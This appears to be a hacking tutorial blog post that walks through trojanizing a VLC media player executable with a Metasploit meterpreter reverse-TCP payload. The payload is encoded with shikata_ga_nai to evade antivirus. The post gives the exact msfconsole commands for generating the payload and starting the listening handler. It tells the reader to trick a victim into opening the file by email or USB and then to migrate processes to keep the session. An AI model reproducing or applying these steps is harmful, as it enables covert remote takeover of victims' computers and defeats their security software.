Backtrack :- Defeat antivirus with Shikata encoder

Using metasploit, it is possible to combine a meterpreter session with a completely benign executable.
In last article we learnt how to use windows solitaire game to hack a PC, this time we will use another player called VLC media player to hack a pc!
Continuing… when a user executes our executable, a meterpreter session is opened to a remote machine essentially giving it full access to the exploited machine.
Lets take a application and use the reverse-tcp attack.
$ Choose an executable, vlc for example, and download it to the desktop.
$ Setup up the new malicious executable using the reverse_tcp module to allow remote access to the machine by providing an appropriate local IP address and local port for the tcp handler to bind to once executed on the remote machine.
$ We will encode the exe 10 times using shikata to hide from the antivirus long enough for a meterpreter session to be opened.
Open up msfconsole and enter
use payload/windows/meterpreter/reverse_tcp
set LHOST 192.168.1.3
set LPORT 4444
generate -e x86/shikata_ga_nai -i 10 -x /root/Desktop/vlc.exe -k -t exe -f /root/Desktop/vlc2.exe
$Now we setup a handler session on metsploit that matches the IP and Port parameters specified in the malicious generated executable.
Open msfconsole again and enter
use exploit/multi/handler
set LHOST 192.168.1.3
set LPORT 4444
exploit
$ Find a means of getting the encoded executable onto the victim system either by means of sneakernet or email and have the user open it.
One interesting thing at this time will be that the antivirus will present a dialogue box saying that a malicious file has been detected but by the time that the file is detected, a meterpreter session will have already been opened!!!
As soon as the meterpreter session opens, it is essential to migrate to another process thereby reducing the chance of the session terminating. (providing the Process ID, not the name)
migrate
ps "process ID"